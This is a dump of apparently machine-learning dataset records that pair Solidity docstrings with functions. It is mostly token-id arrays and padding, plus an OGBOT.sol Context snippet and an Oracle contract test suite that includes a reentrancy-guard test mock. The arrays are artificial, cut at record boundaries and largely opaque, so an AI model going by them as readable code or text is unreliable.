7738, 1733, 273, 374, 92, 25, 39, 8148, 70, 41, 73, 27, 1611, 10241, 28, 3461, 69, 22, 38, 26, 69, 23, 2056, 40, 24, 38, 2313, 9401, 8876, 29, 952, 25, 69, 37, 26, 74, 31, 203, 203, 565, 1958, 1351, 77, 4154, 288, 203, 3639, 1426, 3696, 31, 203, 3639, 1351, 77, 58, 22, 4154, 45, 3082, 31, 203, 565, 289, 203, 203, 565, 1351, 77, 4154, 8526, 1071, 7738, 4047, 87, 31, 203, 203, 565, 9606, 770, 382, 5694, 12, 11890, 5034, 770, 13, 288, 203, 3639, 2583, 12, 203, 5411, 770, 411, 7738, 4047, 87, 18, 2469, 16, 203, 5411, 315, 1016, 1297, 506, 5242, 2353, 526, 769, 6, 203, 3639, 11272, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 3157, 984, 77, 3178, 12, 2867, 2002, 16, 1758, 2145, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 984, 77, 58, 22, 4154, 45, 13, 203, 565, 288, 203, 3639, 1758, 1122, 273, 2002, 411, 2145, 692, 2002, 294, 2145, 31, 203, 3639, 1758, 2205, 273, 2002, 411, 2145, 692, 2145, 294, 2002, 31, 203, 3639, 1758, 3082, 273, 1758, 12, 203, 5411, 2254, 5034, 12, 203, 7734, 417, 24410, 581, 5034, 12, 203, 10792, 24126, 18, 3015, 4420, 329, 12, 203, 13491, 3827, 6, 1403, 3113, 203, 13491, 7738, 1733, 16, 203, 13491, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 3645, 16, 2205, 13, 3631, 203, 13491, 3827, 6, 10525, 73, 28, 1077, 9452, 4700, 30234, 1403, 28, 70, 26, 74, 8285, 6564, 8285, 7598, 29, 69, 5520, 74, 24, 4630, 7358, 6669, 28, 449, 3103, 7358, 1340, 27284, 71, 23, 73, 27, 2414, 5026, 28, 5193, 25, 74, 6, 203, 10792, 262, 203, 7734, 262, 203, 5411, 262, 203, 3639, 11272, 203, 3639, 327, 1351, 77, 58, 22, 4154, 45, 12, 6017, 1769, 203, 565, 289, 203, 203, 565, 445, 4046, 12, 203, 3639, 1758, 324, 24, 307, 67, 16, 203, 3639, 1758, 324, 24, 307, 2582, 67, 16, 203, 3639, 2254, 5034, 283, 1969, 3705, 3088, 1283, 67, 16, 203, 3639, 2254, 5034, 20865, 13649, 2335, 203, 565, 262, 3903, 12562, 288, 203, 3639, 324, 24, 307, 273, 605, 24, 307, 45, 12, 70, 24, 307, 67, 1769, 203, 3639, 324, 24, 307, 2582, 273, 605, 24, 307, 2582, 45, 12, 70, 24, 307, 2582, 67, 1769, 203, 203, 3639, 4207, 426, 1969, 950, 273, 1203, 18, 5508, 397, 20865, 13649, 2335, 31, 203, 3639, 283, 1969, 9217, 273, 629, 31, 203, 3639, 283, 1969, 3705, 3088, 1283, 273, 283, 1969, 3705, 3088, 1283, 67, 31, 203, 565, 289, 203, 203, 565, 445, 527, 984, 77, 4154, 12, 2867, 1147, 21, 16, 1758, 1147, 22, 13, 3903, 1338, 5541, 288, 203, 3639, 7738, 4047, 87, 18, 6206, 12, 984, 77, 4154, 12, 3767, 16, 3157, 984, 77, 3178, 12, 2316, 21, 16, 1147, 22, 3719, 1769, 203, 203, 3639, 3626, 1827, 986, 1908, 984, 77, 4154, 12, 2316, 21, 16, 1147, 22, 1769, 203, 565, 289, 203, 203, 565, 445, 1430, 984, 77, 4154, 12, 11890, 5034, 770, 13, 203, 3639, 3903, 203, 3639, 1338, 5541, 203, 3639, 770, 382, 5694, 12, 1615, 13, 203, 565, 288, 203, 3639, 1351, 77, 4154, 3778, 791, 14976, 273, 7738, 4047, 87, 63, 1615, 15533, 203, 203, 3639, 309, 261, 1615, 411, 7738, 4047, 87, 18, 2469, 18, 1717, 12, 21, 3719, 288, 203, 5411, 7738, 4047, 87, 63, 1615, 65, 273, 7738, 4047, 87, 63, 318, 77, 4047, 87, 18, 2469, 18, 1717, 12, 21, 13, 15533, 203, 3639, 289, 203, 3639, 3626, 1827, 2613, 984, 77, 4154, 12, 203, 5411, 791, 14976, 18, 5745, 16, 203, 5411, 1758, 12, 1336, 14976, 18, 6017, 13, 203, 3639, 11272, 203, 203, 3639, 7738, 4047, 87, 18, 5120, 5621, 203, 3639, 1430, 791, 14976, 31, 203, 565, 289, 203, 203, 565, 445, 1430, 984, 77, 4154, 12, 11890, 5034, 770, 13, 203, 3639, 3903, 203, 3639, 1338, 5541, 203, 3639, 770, 382, 5694, 12, 1615, 13, 203, 565, 288, 203, 3639, 1351, 77, 4154, 3778, 791, 14976, 273, 7738, 4047, 87, 63, 1615, 15533, 203, 203, 3639, 309, 261, 1615, 411, 7738, 4047, 87, 18, 2469, 18, 1717, 12, 21, 3719, 288, 203, 5411, 7738, 4047, 87, 63, 1615, 65, 273, 7738, 4047, 87, 63, 318, 77, 4047, 87, 18, 2469, 18, 1717, 12, 21, 13, 15533, 203, 3639, 289, 203, 3639, 3626, 1827, 2613, 984, 77, 4154, 12, 203, 5411, 791, 14976, 18, 5745, 16, 203, 5411, 1758, 12, 1336, 14976, 18, 6017, 13, 203, 3639, 11272, 203, 203, 3639, 7738, 4047, 87, 18, 5120, 5621, 203, 3639, 1430, 791, 14976, 31, 203, 565, 289, 203, 203, 565, 445, 444, 984, 77, 4154, 1526, 12, 11890, 5034, 770, 16, 1426, 3696, 13, 203, 3639, 3903, 203, 3639, 1338, 5541, 203, 3639, 770, 382, 5694, 12, 1615, 13, 203, 565, 288, 203, 3639, 1351, 77, 4154, 2502, 791, 273, 7738, 2 ]
./partial_match/1/0xCf82652F5CA145B6442D80511995F9332cd57Ff2/sources/OGBOT.sol
* @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
abstract contract Context { Social Links function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
4,119,097
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 28805, 1779, 2973, 326, 783, 4588, 819, 16, 6508, 326, 5793, 434, 326, 2492, 471, 2097, 501, 18, 21572, 4259, 854, 19190, 2319, 3970, 1234, 18, 15330, 471, 1234, 18, 892, 16, 2898, 1410, 486, 506, 15539, 316, 4123, 279, 2657, 21296, 16, 3241, 1347, 21964, 598, 2191, 17, 20376, 326, 2236, 5431, 471, 8843, 310, 364, 4588, 2026, 486, 506, 326, 3214, 5793, 261, 345, 10247, 487, 392, 2521, 353, 356, 2750, 11748, 2934, 1220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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 1772, 288, 203, 28795, 21771, 203, 203, 203, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 389, 3576, 751, 1435, 2713, 1476, 5024, 1135, 261, 3890, 745, 892, 13, 288, 203, 3639, 327, 1234, 18, 892, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "ds-test/test.sol"; import "../test/utils/Caller.sol"; import {Hevm} from "../test/utils/Hevm.sol"; import {Oracle} from "./Oracle.sol"; contract OracleImplementation is Oracle { constructor(uint256 timeUpdateWindow_) Oracle(timeUpdateWindow_) { this; } // Allow the test to change the return value // This will not be used in the actual implementation int256 internal _returnValue; function setValue(int256 value_) public { _returnValue = value_; } // We want to handle cases where the oracle fails to obtain values // Ideally the `getValue()` will never fail, but the current implementation will also handle fails bool internal _success = true; function setSuccess(bool success_) public { _success = success_; } // We mock this value provider to return the expected previously set value function getValue() external view override(Oracle) returns (int256) { if (_success) { return _returnValue; } else { revert("Oracle failed"); } } } contract OracleReenter is Oracle { constructor(uint256 timeUpdateWindow_) Oracle(timeUpdateWindow_) { this; } bool public reentered = false; function getValue() external override(Oracle) returns (int256) { if (reentered) { return 42; } else { reentered = true; super.update(); } return 0; } } contract OracleTest is DSTest { Hevm internal hevm = Hevm(DSTest.HEVM_ADDRESS); OracleImplementation internal oracle; uint256 internal timeUpdateWindow = 100; // seconds function setUp() public { oracle = new OracleImplementation(timeUpdateWindow); // Set the value returned to 100 oracle.setValue(int256(100 * 10**18)); hevm.warp(timeUpdateWindow * 10); } function test_deploy() public { assertTrue(address(oracle) != address(0)); } function test_check_timeUpdateWindow() public { // Check that the property was properly set assertTrue( oracle.timeUpdateWindow() == timeUpdateWindow, "Invalid oracle timeUpdateWindow" ); } function test_update_updates_timestamp() public { oracle.update(); // Check if the timestamp was updated assertEq(oracle.lastTimestamp(), block.timestamp); } function test_update_shouldNotUpdatePreviousValues_ifNotEnoughTimePassed() public { // Get current timestamp uint256 blockTimestamp = block.timestamp; // Update the oracle oracle.update(); // Check if the timestamp was updated assertEq(oracle.lastTimestamp(), blockTimestamp); // Advance time hevm.warp(blockTimestamp + timeUpdateWindow - 1); // Calling update should not update the values // because not enough time has passed oracle.update(); // Check if the values are still the same assertEq(oracle.lastTimestamp(), blockTimestamp); } function test_update_shouldUpdatePreviousValues_ifEnoughTimePassed() public { // Get current timestamp uint256 blockTimestamp = block.timestamp; // Advance time hevm.warp(blockTimestamp + timeUpdateWindow); // Calling update should update the values // because enough time has passed oracle.update(); // Last timestamp should be updated assertEq(oracle.lastTimestamp(), blockTimestamp + timeUpdateWindow); } function test_update_updateDoesNotChangeTheValue_inTheSameWindow() public { oracle.setValue(int256(100 * 10**18)); // Update the oracle oracle.update(); (int256 value1, ) = oracle.value(); assertEq(value1, 100 * 10**18); int256 nextValue1 = oracle.nextValue(); assertEq(nextValue1, 100 * 10**18); oracle.setValue(int256(150 * 10**18)); // Advance time but stay in the same time update window hevm.warp(block.timestamp + 1); // Update the oracle oracle.update(); // Values are not modified (int256 value2, ) = oracle.value(); assertEq(value2, 100 * 10**18); int256 nextValue2 = oracle.nextValue(); assertEq(nextValue2, 100 * 10**18); } function test_update_shouldNotFail_whenValueProviderFails() public { oracle.setSuccess(false); // Update the oracle oracle.update(); } function test_value_shouldBeInvalid_afterValueProviderFails() public { // We first successfully update the value to make sure the lastTimestamp is updated // After that, we wait for the required amount of time and try update the value again // The second update will fail and the value should be invalid because of the flag only. // (time check is still correct because maxValidTime >= timeUpdateWindow) oracle.setValue(10**18); // Update the oracle oracle.update(); // Advance time hevm.warp(block.timestamp + timeUpdateWindow); oracle.setSuccess(false); // Update the oracle oracle.update(); (, bool isValid) = oracle.value(); assertTrue(isValid == false); } function test_value_shouldBecomeValid_afterSuccessfulUpdate() public { oracle.setSuccess(false); oracle.update(); (, bool isValid1) = oracle.value(); assertTrue(isValid1 == false); oracle.setSuccess(true); oracle.update(); (, bool isValid2) = oracle.value(); assertTrue(isValid2 == true); } function test_valueReturned_shouldNotBeValid_ifNeverUpdated() public { // Initially the value should be considered stale (, bool valid) = oracle.value(); assertTrue(valid == false); } function test_paused_stops_returnValue() public { // Pause oracle oracle.pause(); // Create user Caller user = new Caller(); // Should fail trying to get value bool success; (success, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.value.selector) ); assertTrue(success == false, "value() should fail when paused"); } function test_paused_doesNotStop_update() public { // Pause oracle oracle.pause(); // Create user Caller user = new Caller(); // Allow user to call update on the oracle oracle.allowCaller(oracle.ANY_SIG(), address(user)); // Should not fail trying to get update bool success; (success, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.update.selector) ); assertTrue(success, "update() should not fail when paused"); } function test_reset_resetsContract() public { // Make sure there are some values in there oracle.update(); // Last updated timestamp is this block assertEq(oracle.lastTimestamp(), block.timestamp); // Value should be 100 and valid int256 value; bool valid; (value, valid) = oracle.value(); assertEq(value, 100 * 10**18); assertTrue(valid == true); // Oracle should be paused when resetting oracle.pause(); // Reset contract oracle.reset(); // Unpause contract oracle.unpause(); // Last updated timestamp should be 0 assertEq(oracle.lastTimestamp(), 0); // Value should be 0 and not valid (value, valid) = oracle.value(); assertEq(value, 0); assertTrue(valid == false); // Next value should be 0 assertEq(oracle.nextValue(), 0); } function test_reset_shouldBePossible_ifPaused() public { // Pause oracle oracle.pause(); // Reset contract oracle.reset(); } function testFail_reset_shouldNotBePossible_ifNotPaused() public { // Oracle is not paused assertTrue(oracle.paused() == false); // Reset contract should fail oracle.reset(); } function test_authorizedUser_shouldBeAble_toReset() public { // Create user Caller user = new Caller(); // Grant ability to reset oracle.allowCaller(oracle.reset.selector, address(user)); // Oracle should be paused when calling reset oracle.pause(); // Should not fail trying to reset bool success; (success, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.reset.selector) ); assertTrue( success, "Only authorized user should be able to call reset()" ); } function test_nonAuthorizedUser_shouldNotBeAble_toReset() public { // Create user // Do not authorize user Caller user = new Caller(); // Oracle should be paused when calling reset oracle.pause(); // Should fail trying to reset bool success; (success, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.reset.selector) ); assertTrue( success == false, "Non-authorized user should not be able to call reset()" ); } function testFail_update_cannotBeReentered() public { OracleReenter oracleReenter = new OracleReenter(timeUpdateWindow); oracleReenter.update(); assertTrue(oracleReenter.reentered()); } function test_update_returnsTrue_whenSuccessful() public { bool updated; updated = oracle.update(); assertTrue(updated, "Should return `true` no successful update"); } function test_update_returnsFalse_whenUpdateDoesNotChangeAnything() public { bool updated; updated = oracle.update(); // Second update should return false since it doesn't change anything updated = oracle.update(); assertTrue( updated == false, "Should return `true` no successful update" ); } function test_update_nonAuthorizedUserCanNotCall_update() public { Caller user = new Caller(); // A non permissioned user should not be able to call bool ok; (ok, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.update.selector) ); assertTrue( ok == false, "Non permissioned user should not be able to call update" ); } function test_update_authorizedUserCanCall_update() public { Caller user = new Caller(); // Give permission to the user oracle.allowCaller(oracle.update.selector, address(user)); // A non permissioned user should not be able to call bool ok; (ok, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.update.selector) ); assertTrue(ok, "Permissioned user should be able to call update"); } }
Create user Do not authorize user Oracle should be paused when calling reset Should fail trying to reset
function test_nonAuthorizedUser_shouldNotBeAble_toReset() public { Caller user = new Caller(); oracle.pause(); bool success; (success, ) = user.externalCall( address(oracle), abi.encodeWithSelector(oracle.reset.selector) ); assertTrue( success == false, "Non-authorized user should not be able to call reset()" ); }
12,644,921
[ 1, 4625, 348, 7953, 560, 30, 225, 1788, 729, 2256, 486, 12229, 729, 28544, 1410, 506, 17781, 1347, 4440, 2715, 9363, 2321, 8374, 358, 2715, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1842, 67, 5836, 15341, 1299, 67, 13139, 1248, 1919, 5895, 298, 67, 869, 7013, 1435, 1071, 288, 203, 3639, 20646, 729, 273, 394, 20646, 5621, 203, 203, 3639, 20865, 18, 19476, 5621, 203, 203, 3639, 1426, 2216, 31, 203, 3639, 261, 4768, 16, 262, 273, 729, 18, 9375, 1477, 12, 203, 5411, 1758, 12, 280, 16066, 3631, 203, 5411, 24126, 18, 3015, 1190, 4320, 12, 280, 16066, 18, 6208, 18, 9663, 13, 203, 3639, 11272, 203, 203, 3639, 1815, 5510, 12, 203, 5411, 2216, 422, 629, 16, 203, 5411, 315, 3989, 17, 8434, 729, 1410, 486, 506, 7752, 358, 745, 2715, 10031, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 